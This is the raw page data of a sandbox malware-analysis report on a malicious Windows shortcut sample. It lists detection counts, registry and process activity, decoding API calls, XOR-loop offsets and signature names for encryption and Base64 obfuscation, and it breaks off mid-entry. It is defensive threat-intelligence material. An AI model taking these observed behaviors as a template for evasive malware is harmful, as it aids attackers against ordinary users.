26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4c0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious BZC.YAX.Boxter.800 Sample 49a27468cf5e… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 49a27468cf5e…. Malware family: BZC.YAX.Boxter.800. Threat score 100/100. 8/26 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/49a27468cf5e8eb607c7ed4a605936fee1b345230080d18d5f24cd8295dbbd94","keywords":["Malicious","BZC.YAX.Boxter.800","malware analysis","sandbox report","threat intelligence","49a27468cf5e8eb607c7ed4a605936fee1b345230080d18d5f24cd8295dbbd94"],"about":{"@type":"SoftwareApplication","name":"49a27468cf5e8eb607c7ed4a605936fee1b345230080d18d5f24cd8295dbbd94.bin","applicationCategory":["lnk"],"identifier":"49a27468cf5e8eb607c7ed4a605936fee1b345230080d18d5f24cd8295dbbd94","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"BZC.YAX.Boxter.800","antivirusDetections":{"malicious":8,"total":26},"behavioralIndicators":{"malicious":15,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T608,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp")28:Ta0c,file/memory contains long string with (Indicator: "SHA384"; File: "python.exe") file/memory contains long string with (Indicator: "SHA384"; File: "py.exe") file/memory contains long string with (Indicator: "SHA384"; File: "libffi-8.dll") file/memory contains long string with (Indicator: "Aes"; File: "s.cmd") file/memory contains long string with (Indicator: "CryptoStream"; File: "s.cmd") file/memory contains long string with (Indicator: "SHA384"; File: "_lzma.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_elementtree.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_bz2.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_asyncio.pyd") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_overlapped.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_zoneinfo.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_msi.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_multiprocessing.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_queue.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "winsound.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "select.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_uuid.pyd") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00001352-00000BC0-1683602091") file/memory contains long string with (Indicator: "Oid"; Source: "00000000-00001352-00000CBD-1690170208") file/memory contains long string with (Indicator: "RC2"; Source: "00000000-00001352-00000CBD-1690590066") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00002592-00000CC2-1717639705") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00002592-00000CC2-1718575801") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp")29:Ta63,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\OALERTS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\OALERTS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\OALERTS\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SECURITY") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SECURITY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SECURITY\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SYSTEM") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SYSTEM") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SYSTEM\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\WINDOWS POWERSHELL") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\WINDOWS POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\WINDOWS POWERSHELL\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\APPLICATION") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\APPLICATION") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\APPLICATION\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\HARDWAREEVENTS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\HARDWAREEVENTS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\HARDWAREEVENTS\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\INTERNET EXPLORER") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\INTERNET EXPLORER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\INTERNET EXPLORER\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\KEY MANAGEMENT SERVICE") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\KEY MANAGEMENT SERVICE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\KEY MANAGEMENT SERVICE\POWERSHELL")2a:T9fc,"cmd.exe" queried SystemProcessInformation at 00000000-00006852-00000C15-1671665330 [PID: 6852] "cmd.exe" queried SystemProcessInformation at 00000000-00006852-00000C15-1671673997 [PID: 6852] "cmd.exe" queried SystemProcessInformation at 00000000-00006852-00000C15-1671917863 [PID: 6852] "cmd.exe" queried SystemProcessInformation at 00000000-00006852-00000C15-1671926239 [PID: 6852] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1672521387 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1672529755 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1673836111 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1673844654 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1674948291 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1674956747 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1674985712 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1674993870 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1675163181 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1675172827 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1676418536 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1676906364 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1676914905 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1677545219 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1677553690 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1678396492 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1678404793 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1679039251 [PID: 5396] "powershell.exe" queried SystemProcessInformation at 00000000-00005396-00000C15-1679047574 [PID: 5396] "cmd.exe" queried SystemProcessInformation at 00000000-00001284-00000C15-1680599695 [PID: 1284] "cmd.exe" queried SystemProcessInformation at 00000000-00001284-00000C15-1680608622 [PID: 1284]2b:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}2c:T1413,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-49-00EEEE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-92-00EEE950 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-92-00EEE950 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-126-00EED490 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-126-00EED490 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-129-00EE985C Assembly shows XOR instruction xor esi dword ptr [00EF0394h] in Stream UID: 00000000-00005792-63877-129-00EE985C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-129-00EE985C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-133-00EE995D Assembly shows XOR instruction xor esi dword ptr [00EF0390h] in Stream UID: 00000000-00005792-63877-133-00EE995D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-133-00EE995D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-135-00EEDAD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-135-00EEDAD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-137-00EEDA34 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-137-00EEDA34 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-141-00EED610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-141-00EED610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-149-00EED560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-149-00EED560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-151-00EED501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-151-00EED501 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-158-00EEA510 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-161-00EEA4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-162-00EEA4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-182-00EE8190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-182-00EE8190 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005792-63877-194-00EEC4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005792-63877-194-00EEC4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-195-00EE8AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-195-00EE8AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-198-00EE8E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-198-00EE8E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-199-00EE7C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-199-00EE7C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-202-00EE85B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-202-00EE85B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-203-00EE89F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-203-00EE89F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-204-00EE9030 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-204-00EE9030 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-211-00EED341 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-211-00EED341 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-214-00EEC439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-214-00EEC439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-63877-215-00EE92C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-63877-215-00EE92C0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00005792-63877-217-00EE9F43 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00005792-63877-217-00EE9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00005792-63877-217-00EE9F43 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00005792-63877-217-00EE9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00005792-63877-217-00EE9F43 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00005792-63877-217-00EE9F432d:T630,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Contains CRYPTO related strings Matched sigs: Able to decrypt/decode data Matched sigs: Command line contains long Base64-encoded string Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to perform cryptographic operations Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt data Matched sigs: Calls an API typically used to encrypt data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match - AES encryption Matched sigs: YARA signature match – cryptographic algorithms Matched sigs: YARA signature match - PowerShell with Base64 encoding2e:T139ea,Found XOR loop in file "python311.dll" at offset 913176; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 1750834; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 2266682; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 2485844; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 2485847; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 2488103; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 2692787; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 2886223; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 2898625; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 3008770; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 3066721; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 3153023; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 3193892; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 3203651; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 3286637; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4106043; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4106046; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4106049; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4118352; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4135231; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4233998; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4288585; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4326814; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4353868; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4391431; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4391434; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4391437; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4391440; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4391443; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4417465; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4417468; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4417481; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4439470; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4439889; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4445149; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4512628; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4554351; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4585232; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4585235; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4585238; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4585241; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4585244; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4600561; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4600564; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4600567; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4600570; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4600573; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4600576; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4600579; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4771615; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4776721; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4785217; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4790587; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4791649; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4796267; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4817725; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4821079; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4826183; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4830315; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4838417; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4839915; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4844253; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4856107; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4861055; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4861509; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4862319; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4868493; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4871539; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4876331; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4887075; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4894689; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4895345; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4896595; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4896985; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4897503; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4900743; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4901943; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4902205; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4904545; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4905549; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4907697; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4910069; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4914191; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4916959; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4921463; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4926575; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4936429; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4937623; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4938401; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4943757; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4950153; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4950543; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4951689; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4955177; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4957661; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4959105; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4963909; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4965033; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4971971; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 4975829; code bytes = 30d0 Found XOR loop in file "python311.dll" at offset 20649; code bytes = 33c1 Found XOR loop in file 